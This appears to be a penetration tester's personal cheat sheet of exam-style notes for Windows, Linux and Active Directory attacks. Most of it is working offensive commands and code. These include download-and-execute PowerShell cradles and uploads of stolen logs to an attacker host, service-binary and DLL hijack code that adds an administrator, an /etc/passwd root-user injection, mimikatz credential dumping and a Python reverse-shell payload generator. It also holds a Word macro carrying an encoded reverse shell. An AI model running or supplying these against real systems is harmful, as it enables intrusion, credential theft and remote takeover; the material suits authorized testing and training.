Fast Track

Methodology

Default port scan All ports scan 
2 times with min rate and T5 Then also scan the UDP ports All these ports are scanned aggressively and with verbosity On web apps looking at source, robots, sitemap Then directory bruteforce Also vhost bruteforce dirbuster If I don't go anything will go recursive with feroxbuster Look for common vulns Ftp anonymous login and weak creds on all applications Smb null shares, listing shares and all others Anything else always Google about exploit for those services Mostly results in exploit db This is my method to get foothold
Autorecon is my last resort if I don't get anything on manual enumeration.
# Get an initial idea of the scenario
    sudo nmap -sCV -oN nmap/initial -v $IP
    
    # All port scan again with max retries 0 and min rate 5000
    sudo nmap -p- -T4 --min-rate 5000 --max-retries 0 -v $IP -oN nmap/ports
    
    # All port scan with 5 threads to list the ports
    sudo nmap -p- -T5 -v $IP -oN nmap/ports2
    
    # Once we have to ports do both an aggressive scan and a verbose service scan
    ports=$(cat nmap/{initial,ports,ports2} | grep 'open' | cut -d '/' -f 1 | sort -u |sed -z 's/\n/,/g;s/,$/\n/')
    
    sudo nmap -p $ports -A -v $IP -oN nmap/all-ports
    sudo nmap -p $ports -sCV -O -oN nmap/all-ports-service -v $IP
    
    # UDP Portscan
    sudo nmap -sU --top-ports 100 -vv $IP -oN nmap/ports3
    sudo nmap -p $ports -sU -A $IP

Enumeration

Nmap

# Get an initial idea of the scenario
sudo nmap -sCV -oN nmap/initial -v $IP

# All port scan again with max retries 0 and min rate 5000
sudo nmap -p- -T4 --min-rate 5000 --max-retries 0 -v $IP -oN nmap/ports

# All port scan with 5 threads to list the ports
sudo nmap -p- -T5 -v $IP -oN nmap/ports2

# Once we have to ports do both an aggressive scan and a verbose service scan
ports=$(cat nmap/{initial,ports,ports2} | grep 'open' | cut -d '/' -f 1 | sort -u |sed -z 's/\n/,/g;s/,$/\n/')

sudo nmap -p $ports -A -v $IP -oN nmap/all-ports
sudo nmap -p $ports -sCV -O -oN nmap/all-ports-service -v $IP

# UDP Portscan
sudo nmap -p $ports -sU -A $IP

Reference: https://github.com/21y4d/nmapAutomator

SMB

sudo nmap -v -p 139,445 -oN smb.txt 192.168.1.1-254
sudo nbtscan -r 192.168.1.0/24
sudo nmap -v -p 139,445 --script smb-os-discovery $IP

Reference: https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html

Directory Bruteforce

sudo nmap -p80  -sV $IP
sudo nmap -p80 --script=http-enum $IP
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt # Defautl threads is 10
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x php,txt,md,aspx
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/big.txt -p {GOBUSTER}/v1
feroxbuster -u http://$IP

SMTP

nc -vn <IP> 25
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
nmap -p25 --script smtp-commands $IP
nmap -p25 --script smtp-open-relay $IP -v
sudo swaks -t jim@relia.com --from maildmz@relia.com --attach @config.Library-ms --server 192.168.171.189 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap

Reference: https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp

SNMP

sudo onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/snmp.txt $IP
sudo onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/snmp.txt -i ips.txt
MIB Value
Information

1.3.6.1.2.1.25.1.6.0

System Processes

1.3.6.1.2.1.25.4.2.1.2

Running Programs

1.3.6.1.2.1.25.4.2.1.4

Processes Path

1.3.6.1.2.1.25.2.3.1.4

Storage Units

1.3.6.1.2.1.25.6.3.1.2

Software Name

1.3.6.1.4.1.77.1.2.25

User Accounts

1.3.6.1.2.1.6.13.1.3

TCP Local Ports

# entire MIB tree
snmpwalk -c public -v1 -t $IP
# users
snmpwalk -c public -v1 $IP 1.3.6.1.4.1.77.1.2.25
# running process
snmpwalk -c public -v1 $IP 1.3.6.1.2.1.25.4.2.1.2
# process path
snmpwalk -c public -v1 $IP 1.3.6.1.2.1.25.4.2.1.4
# open tcp ports
snmpwalk -c public -v1 $IP 1.3.6.1.2.1.6.13.1.3
# installed softwares
snmpwalk -c public -v1 $IP 1.3.6.1.2.1.25.6.3.1.2
sudo apt-get install snmp-mibs-downloader
sudo download-mibs

# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf

snmpwalk -v [VERSION_SNMP] -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects #get extended

Autorecon

# This can take very long owing to the number of directory bruteforce attempts. Hence to be done at limited rate.
sudo poetry run autorecon $IP -o $IP
sudo poetry run autorecon -t TargetFile -o $IP

Password and Credential Spraying

Vulnerability scan

#zerologon
crackmapexec smb <ip> -u '' -p '' -M zerologo

#Petitpotam
crackmapexec smb <ip> -u '' -p '' -M petitpotam

#nopac - Credentials required for this test
crackmapexec smb <ip> -u 'user' -p 'pass' -M nopac

SMB

# Host enumeration
crackmapexec smb $IP/24
# Checking Null Session
poetry run crackmapexec smb $IP -u '' -p ''
poetry run crackmapexec smb $IP --pass-pol
poetry run crackmapexec smb $IP --users
poetry run crackmapexec smb $IP --groups
# Anonymous Logins - random username and blank password
poetry run crackmapexec smb $IP -u 'a' -p ''
# Active Sessions on target
poetry run crackmapexec smb 192.168.1.0/24 -u 'username' -p 'password' --sessions
# LoggedOn Users
poetry run crackmapexec smb 192.168.1.0/24 -u 'username' -p 'password' --loggedon-users
# List shares and permissions
poetry run crackmapexec smb $IP -u 'username' -p 'password' --shares
# List Domain Users
poetry run crackmapexec smb $IP -u 'username' -p 'password' --users
# Enumerate Users with RID brute
poetry run crackmapexec smb $IP -u 'username' -p 'password' --rid-brute
# Enumerate Domain groups and localgroups
poetry run crackmapexec smb $IP -u 'username' -p 'password' --groups
poetry run crackmapexec smb $IP -u 'username' -p 'password' --local-group
# Passsword Policy
poetry run crackmapexec smb $IP -u 'username' -p 'password' --rid-brute
# SMB signing not required
poetry run crackmapexec smb $IP -u 'username' -p 'password' --gen-relay-list relaylistOutputFilename.txt
# AV Software installed
poetry run crackmapexec smb $IP -u 'username' -p 'password' -M enum_av-M enum_av
# Spraying
poetry run crackmapexec smb $IP -u user.txt -p password.txt --continue-on-success
poetry run crackmapexec smb $IP -u user.txt -p password.txt --no-bruteforce

# Default authentication is domain auth where green indicates successful login and pwn3d! marks local admin
petry run crackmapexec winrm $IP/24 -u <username>  -p '<password>' --local-auth
poetry run crackmapexec smb $IP -u Administrator -H '<hash>' --continue-on-success
# command execution cmd
poetry run crackmapexec $IP -u Administrator -p 'P@ssw0rd' -x whoami
# command execution powershell
poetry run crackmapexec $IP -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'

Getting Shell in Empire using CME: https://wiki.porchetta.industries/smb-protocol/command-execution/getting-shells-101

# Dumping Credentials
poetry run crackmapexec smb $IP/24 -u Administrator -H '<hash>' --local-auth --lsa
poetry run crackmapexec smb $IP/24 -u Administrator -H '<hash>' --local-auth --sam
poetry run crackmapexec smb $IP/24 -u Administrator -H '<hash>' --local-auth --lsa
poetry run crackmapexec smb $IP/24 -u Administrator -H '<hash>' --ntds
poetry run crackmapexec smb $IP -u administrator -p pass -M lsassy    #remotely dump creds
poetry run crackmapexec smb $IP -u administrator -p pass -M nanodump  #remotely dump creds
poetry run crackmapexec smb $IP -u administrator -p pass -M wireless  #wifipassword

WinRM

# smb
petry run crackmapexec winrm $IP/24 -u <username>  -p '<password>'          
petry run crackmapexec winrm $IP/24 -u users.txt  -p password.txt' --no-bruteforce

MSSQL

Reference: https://wiki.porchetta.industries/mssql-protocol/mssql-privesc

Crowbar

crowbar -b rdp -s $IP/32 -u <username> -c '<password>' -n1 -v 

impacket-rdp_check

impacket-rdp_check <domain/user>:<password>@$IP
impacket-rdp_check <domain/user>@$IP -hashes LMHASH:NTHASH

Getting a reverse shell

Run this command once to generate the required Encoded command with the IP address.

$Command = "(New-Object System.Net.WebClient).DownloadString('http://<% tp.frontmatter["Host IP"] %>/pwn.ps1') | IEX"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell -Sta -Nop -Window Hidden -EncodedCommand $EncodedCommand

Shells should be spawned using pwn.ps1 and additional scripts will be edited inside pwn.ps1

Invoke-Expression(Invoke-WebRequest 'http://<% tp.frontmatter["Host IP"] %>/amsi.txt' -UseBasicParsing);
Invoke-Expression(Invoke-WebRequest 'http://<% tp.frontmatter["Host IP"] %>/Invoke-Sharpcradle.ps1' -UseBasicParsing);

# Invoke-Sharpcradle -Uri WebserverURI -Argument1 firstargument -Argument2 seccondargument -Argument3 thirdargument
# Invoke-Sharpcradle -Uri http://<% tp.frontmatter["Host IP"] %>/ParentHollowInjectStager.exe -Argument1 /port:443 -Argument2 /program:C:\windows\system32\notepad.exe -Argument3 /parent:spoolsv

Directories for writting files

# Inside meterpreter 
C:\\Windows\\Tasks
C:\\Windows\\Temp

# Inside Powershell/cmd
C:\Windows\Tasks
C:\Windows\Temp

# In linux
/dev/shm
/tmp

Download and Upload

Download and Execute

Certutil

certutil -urlcache -f http://<% tp.frontmatter["Host IP"]%>/shell.exe shell.exe 

PowerShell Download

# Download and save shell to tasks
Invoke-WebRequest -Uri http://<% tp.frontmatter["Host IP"]%> -OutFile C:\Windows\Tasks\shell.exe;Start-Process -NoNewWindow -FilePath C:\Windows\Tasks\shell.exe
# PowerView/SharpView
iex(New-Object Net.WebClient).DownloadString('http://<% tp.frontmatter["Host IP"] %>/PowerView.ps1');DomainTrustMapping
Get-DomainComputer -Domain <Domain> | Resolve-IPAddress
iex(New-Object Net.WebClient).DownloadString('http://<% tp.frontmatter["Host IP"] %>/Invoke-SharpView.ps1')
# Obfuscated SharpView
iwr "http://<% tp.frontmatter["Host IP"] %>/ObfSharpView.exe" -outfile "C:\Windows\Tasks\ObfSharpView.exe"
# Get All Domains
$domains = @("domain1", "domain2", "domain3")
foreach ($domain in $domains) {Get-DomainComputer -Domain $domain | Resolve-IPAddress}
powershell -ep bypass
# PowerUp/SharpUp
iex(New-Object Net.WebClient).DownloadString('http://<% tp.frontmatter["Host IP"] %>/PowerUp.ps1');Invoke-AllChecks
iex(New-Object Net.WebClient).DownloadString('http://<% tp.frontmatter["Host IP"] %>/Invoke-SharpUp.ps1')

# Turtle Toolkit
$a=[System.Reflection.Assembly]::Load($(IWR -Uri http://<% tp.frontmatter["Host IP"] %>/TurtleToolKit.dll -UseBasicParsing).Content);Import-Module -Assembly $a

# Invoke-Bloodhound
iex(New-Object Net.WebClient).DownloadString('http://<% tp.frontmatter["Host IP"] %>/Invoke-Bloodhound.ps1')
Invoke-Bloodhound -CollectionMethod All -Domain demo.local -ZipFileName loot.zip -Verbose
# If bloodhound misses the sessions
Invoke-Bloodhound -CollectionMethod LoggedOn -Domain demo.local -ZipFileName loot.zip -Verbose
# To Avoid Detection from Advanced Threat Analytics
Invoke-BloodHound -CollectionMethod All -ExcludeDC -Verbose

# SharpHound.exe
iwr "http://<% tp.frontmatter["Host IP"] %>/SharpHound.exe" -outfile "C:\Windows\Tasks\SharpHound.exe"

# Mimikatz.exe
iwr "http://<% tp.frontmatter["Host IP"] %>/mimikatz.exe" -outfile "C:\Windows\Tasks\mimikatz.exe"

# Rubeus / Invoke-Rubeus / Obfuscated Rubeus
iwr "http://<% tp.frontmatter["Host IP"] %>/Rubeus.exe" -outfile "C:\Windows\Tasks\Rubeus.exe"

# Winpeas
iwr "http://<% tp.frontmatter["Host IP"] %>/winPEASany.exe" -outfile "C:\Windows\Tasks\winpeas.exe"

FTP

ftp $IP -P $PORT
echo open 10.11.0.4 21> ftp.txt
echo USER offsec>> ftp.txt
echo lab>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
C:\Users\offsec> ftp -v -n -s:ftp.txt

SMB

smbclient -L -U 'username' -P 'password' \\$IP\share
prompt OFF
recurse ON
mget *
poetry run crackmapexec smb $IP$ -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt

SCP

scp [OPTION] [user@]SRC_HOST:]file1 [user@]DEST_HOST:]file2
scp user@server:/path/to/remotefile.zip /Local/Target/Destination
scp user@host:/remote/path/\{file1.zip,file2.zip\} /Local/Path/

MSSQL

poetry run crackmapexec mssql $IP$ -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt

Downloading MultipleFiles

$baseUrl = "http://<% tp.frontmatter["Host IP"] %>/"
$fileNames = @("file1.txt", "file2.txt", "file3.txt")
$downloadPath = "C:\Windows\Tasks"

foreach ($file in $fileNames){
	$url = $baseUrl + $file
	$filePath = Join-Path $downloadPath $fileName
	Invoke-WebRequest -Uri $url -OutFile $downloadPath
	Write-Host "[+] Downloaded" $file "to" $downloadPath
}

Upload files

PowerShell Upload

powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.119.161/upload.php', 'c:\Windows\Tasks\mimi.log')
powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.119.161/upload.php', 'c:\Windows\Tasks\loot.zip')

FTP

put file.docx

SMB

impacket-smbserver monk . -smb2support
net use * \\<% tp.frontmatter["Host IP"] %>\monk
powershell run crackmapexec smb $IP$ -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt

SCP

scp [OPTION] [user@]SRC_HOST:]file1 [user@]DEST_HOST:]file2
scp file.txt remote_username@10.10.0.2:/remote/directory

MSSQL

powershell run crackmapexec mssql $IP$ -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt

Windows Privilege Escalation

Information to look for

Situational Awareness

  • Username and hostname

whoami
whoami /priv
whoami /all
  • Group memberships of the current user

whomai /groups
  • Existing users and groups

net user
net localgroup
net localgroup <GroupName>
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember <GroupName>
  • Operating system, version and architecture

systeminfo
  • Network information

ipconfig /all
route print
netstat -ano
  • Installed applications

# 32-bit
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
# 64-bit
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
  • Running processes

Get-Process

Hidden in Plain Sight

  • Users Home directory

tree /f C:\\Users\\
  • KeePass Database

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
  • Configuration Files

Get-ChildItem -Path C:\xampp -Include *.txt,*.ini,*.conf -File -Recurse -ErrorAction SilentlyContinue
  • Documents and text files in users home directory

Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
  • RunAs

runas /user:backupadmin cmd

PowerShell logs

Get-History
(Get-PSReadlineOption).HistorySavePath
type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\Public\Transcripts\transcript01.txt

Automated Enumeration

winPEAS.ex, PowerUp.ps1

Windows Services

Service Binary Hijacking

# Fails inside WinRM
Get-CimInstance -ClassName win32_service | Select Name,StartMode,State,PathName | Where-Object {$_.State -like 'Running'}
icacls "C:\xampp\apache\bin\httpd.exe"
# Program: adduser.c
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
net stop httpd
shutdown /r /t 0 
net start httpd

Service DLL Hijacking

Ther order of loading a DLL

  1. The directory from which the application loaded.

  2. The system directory.

  3. The 16-bit system directory.

  4. The Windows directory.

  5. The current directory.

  6. The directories that are listed in the PATH environment variable.

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
icacls BetaServer.exe

Use ProcessMonitor to investigate DLL Hijacking. Apply a filter and restart the process.

Restart-Service BetaService
$env:path

![[Pasted image 20230501115821.png]]

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave2 password123! /add");
  	    i = system ("net localgroup administrators dave2 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll

Unquoted Service Paths

Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"

Using Windows Components

Scheduled Tasks

schtasks /query /fo LIST /v
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe

Exploits

  • Installed Application Based Exploits

  • Kernel Exploits

  • Windows Service Accounts having SeImpersonatePrivilege

whoami /priv
.\PrintSpoofer64.exe -i -c powershell.exe

https://jlajara.gitlab.io/Potatoes_Windows_Privesc

Linux Privilege Escalation

https://sirensecurity.io/blog/blog-archive-all-posts/

Enumerating Linux

Manually

  • User and host information

id
cat /etc/passwd
ls -la /etc/shadow
hostname
sudo -l
  • OS Information

cat /etc/issue
cat /etc/*release
uname -a
  • Enumerating Processes

ps -aux
./pspy64
  • Networking Information

ifconfig
ip a

route 
routel

netstat -anp
ss -anp
  • Firewall rules

cat /etc/iptables/rules.v4
  • Scheduled Tasks

ls -lah /etc/cron*
crontab -l
sudo crontab -l
  • Installed Application (Tiring Manually)

dpkg -l
  • Writable Directories

find / -writable -type d 2>/dev/null
  • Mounted Drives

cat /etc/fstab
mount
lsblk
  • Loaded Kernel drivers and Modules

lsmod
modinfo <moduleName>
  • SUID and SGID

find / -perm -u=s -type f 2>/dev/null

References: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md https://book.hacktricks.xyz/linux-hardening/privilege-escalation

Automated

./unix-privesc-check standard
./linpeas.sh

Exposed Confidential Information

User Trails

env
cat .bashrc
history

Service Footprints

watch -n 1 "ps -aux | grep pass"
sudo tcpdump -i lo -A | grep "pass"

Insecure File Permissions

Cron Jobs

grep "CRON" /var/log/syslog
cat /var/log/cron.log

Password Authentication

ls -la /etc/passwd

openssl passwd w00t
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

Abusing System Linux components

SUID Binaries (GTFObins to the rescue)

  • SUID

find / -perm -u=s -type f 2>/dev/null
  • Capabilities

/usr/sbin/getcap -r / 2>/dev/null

SUDO Abuse

https://github.com/rabiulhsantahin/ctf/blob/main/sudo-exploit.txt

sudo -l
sudo -V
aa-status

Kernel Exploits

cat /etc/issue
uname -r
arch
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation"   | grep  "4." | grep -v " < 4.4.0"

![[Pasted image 20230508214406.png]] ![[Pasted image 20230508214511.png]] ![[Pasted image 20230508214841.png]]

Credential Dumping

Mimikatz

# One liner dump hashes and secrets
.\mimikatz.exe "privilege::debug" "token::elevate" "log mimi.log" "sekurlsa::logonpasswords" "lsadump::lsa" "lsadump::sam" "lsadump::secrets" "lsadump::cache" exit

# One liner For DCsync hash dump
.\mimikatz.exe "log mimi2.log" "token::elevate" "privilege::debug" "lsadump::dcsync /domain:svcorp.com /user:krbtgt" "lsadump::dcsync /domain:svcorp.com /csv /all" exit

# Single commands
privilege::debug
token::elevate
log mimi.log
sekurlsa::logonpasswords
lsadump::lsa
lsadump::sam
lsadump::secrets
lsadump::cache
lsadump::dcsync /domain:svcorp.com /user:krbtgt
lsadump::dcsync /domain:svcorp.com /csv /all

Saved registry

reg.exe save hklm\sam c:\temp\sam.save  
reg.exe save hklm\security c:\temp\security.save  
reg.exe save hklm\system c:\temp\system.save 
impacket-secretsdump -sam sam.save -system system.save LOCAL
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

Stored Credentials

#Registry Registry can be queried as in some occasions might contain credentials. 
reg query HKLM /f password /t REG_SZ /s  
reg query HKCU /f password /t REG_SZ /s 

#Windows Autologin 
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# Putty Credentials saved in the registry.
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# RealVNC stored password
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4" /v password

Reference: https://pentestlab.blog/2017/04/19/stored-credentials/

Enable RDP

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

netsh advfirewall set allprofiles state off

net localgroup "remote desktop users" <username> /add

Client Side Attack

Macro

Sub AutoOpen()
	MyMacro 
End Sub

Sub Document_Open()
	MyMacro
End Sub

Sub MyMacro()
	Dim Str As String
	// Formatted Payload
	CreateObject("Wscript.Shell").Run Str
End Sub

Payload Generator

gen_ps.py

#!/usr/bin/python3
import sys
import base64


def help():
        print(f"Usage {sys.argv[0]} IP PORT")
        print("Returns reverse shell powershell base64 encoded cmdline payload")
        exit()


try:
        (ip,port) = (sys.argv[1], int(sys.argv[2]))
except:
        help()


payload = '$client = New-Object System.Net.Sockets.TCPClient("%s",%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
payload = payload % (ip,port)


cmdline = "powershell -nop -w hidden -e "+ base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmdline)

Payload Formatter

str = ""

n = 50
for i in range(0, len(str), n):
	with open("payload.txt","a") as f:
		f.write("Str = str+" + '"' + str[i:i+n] +'"\n')
Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    Str = Str + "powershell.exe -nop -w hidden -e JABjAGwAaQBlAG4Ad"
    Str = Str + "AAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdAB"
    Str = Str + "lAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDA"
    Str = Str + "GwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEAMQA5AC4"
    Str = Str + "AMQA1ADQAIgAsADgANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AI"
    Str = Str + "AA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQB"
    Str = Str + "tACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgA"
    Str = Str + "D0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGk"
    Str = Str + "AbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZ"
    Str = Str + "QBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdAB"
    Str = Str + "lAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7A"
    Str = Str + "DsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGM"
    Str = Str + "AdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0AL"
    Str = Str + "gBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwA"
    Str = Str + "pAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsA"
    Str = Str + "DAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACA"
    Str = Str + "AKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAAT"
    Str = Str + "wB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAgACQAcwBlAG4AZAB"
    Str = Str + "iAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArA"
    Str = Str + "CAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGg"
    Str = Str + "AIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAP"
    Str = Str + "QAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA"
    Str = Str + "6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzA"
    Str = Str + "GUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFc"
    Str = Str + "AcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAc"
    Str = Str + "wBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB"
    Str = Str + "0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpA"
    Str = Str + "GUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
    CreateObject("Wscript.Shell").Run Str
End Sub

Active Directory

Enumeration

Manual

  • Legacy Tools

net user /domain
net group /domain
  • .NET classes

LDAP://HostName[:PortNumber][/DistinguishedName]
# Store the domain object in the $domainObj variable
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# Store the PdcRoleOwner name to the $PDC variable
$PDC = $domainObj.PdcRoleOwner.Name
# Store the Distinguished Name variable into the $DN variable
$DN = ([adsi]'').distinguishedName
# Print the $DN variable
$DN
$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="samAccountType=805306368"
$dirsearcher.FindAll()
$result = $dirsearcher.FindAll()

Foreach($obj in $result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
    Write-Host "-------------------------------"
}
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="name=jeffadmin"
$result = $dirsearcher.FindAll()

Foreach($obj in $result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop.memberof
    }
    Write-Host "-------------------------------"
}
function LDAPSearch {
    param (
        [string]$LDAPQuery
    )

    $PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
    $DistinguishedName = ([adsi]'').distinguishedName
    $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$DistinguishedName")
    $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher($DirectoryEntry, $LDAPQuery)
    return $DirectorySearcher.FindAll()
}

Usage:

Import-Module .\function.ps1
LDAPSearch -LDAPQuery "(samAccountType=805306368)"
LDAPSearch -LDAPQuery "(objectclass=group)"

foreach ($group in $(LDAPSearch -LDAPQuery "(objectCategory=group)")) 
{ $group.properties | select {$_.cn}, {$_.member} }

$sales = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Sales Department))"
$sales.properties.member

$group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Development Department*))"
$group.properties.member

$group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Management Department*))"
$group.properties.member

Automated

Import-Module .\PowerView.ps1
Get-NetDomain

Get-NetUser
Get-NetUser | select cn
Get-NetUser | select cn,pwdlastset,lastlogon

Get-NetGroup | select cn
Get-NetGroup "Sales Department" | select member

Expanding our Repertoire

Operating System and Logged On User

Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostname

Find-LocalAdminAccess
Get-NetSession -ComputerName files04

.\PsLoggedon.exe \\client74

Service Account Enumeration

setspn -L iis_service
Get-NetUser -SPN | select samaccountname,serviceprincipalname

Object Permissions

Get-ObjectAcl -Identity stephanie

Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104

Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

Shares

Find-DomainShare
Find-DomainShare -CheckShareAccess

cat \\dc1.corp.com\sysvol\corp.com\Policies\oldpolicy\old-policy-backup.xml
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

Automated Enumeration

Collecting Data with SharpHound

Import-Module .\Sharphound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Windows\Tasks\ -OutputPrefix "corpaudit"
del *.bin

Analysing Data using Bloodhound

sudo neo4j start
bloodhound

Attacking Active Directory Authentication

Password Attacks

crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"

ASREPRoast

impacket-GetNPUsers -dc-ip 192.168.50.70  -request -outputfile hashes.asreproast corp.com/pete

